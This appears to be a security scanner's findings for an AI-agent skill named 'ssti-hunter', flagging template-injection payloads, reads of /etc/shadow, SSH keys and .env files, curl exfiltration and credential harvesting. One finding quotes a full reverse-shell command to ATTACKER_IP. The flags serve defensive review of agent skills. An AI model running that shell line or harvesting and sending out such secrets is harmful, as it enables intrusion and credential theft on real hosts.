The Agent Skills Directory

[COMMAND_EXECUTION]: The skill documents hundreds of payloads across numerous template engines (Jinja2, Twig, Mako, FreeMarker, Velocity, etc.) specifically designed to execute arbitrary shell commands like id, whoami, and sleep.
[DATA_EXFILTRATION]: Detailed instructions are provided for reading highly sensitive files including /etc/shadow, ~/.ssh/id_rsa, .env, and database configuration files, with specific patterns for exfiltrating this data to external Out-of-Band (OOB) URLs using curl.
[REMOTE_CODE_EXECUTION]: The skill explicitly directs the agent to download, install, and execute external penetration testing scripts and tools directly from GitHub repositories (e.g., tplmap, SSTImap) using git clone and pip install.
[COMMAND_EXECUTION]: Documentation includes a specific reverse shell payload (bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1) intended to grant remote interactive access to a target host.
[CREDENTIALS_UNSAFE]: The skill targets the harvesting of credentials by identifying and reading environment variables and configuration files that commonly contain hardcoded API keys, database secrets, and private keys.
[EXTERNAL_DOWNLOADS]: The skill references and encourages the use of various third-party tools and platforms (such as interactsh and Nuclei) which involve interaction with and downloads from external, non-vendor infrastructure.

ssti-hunter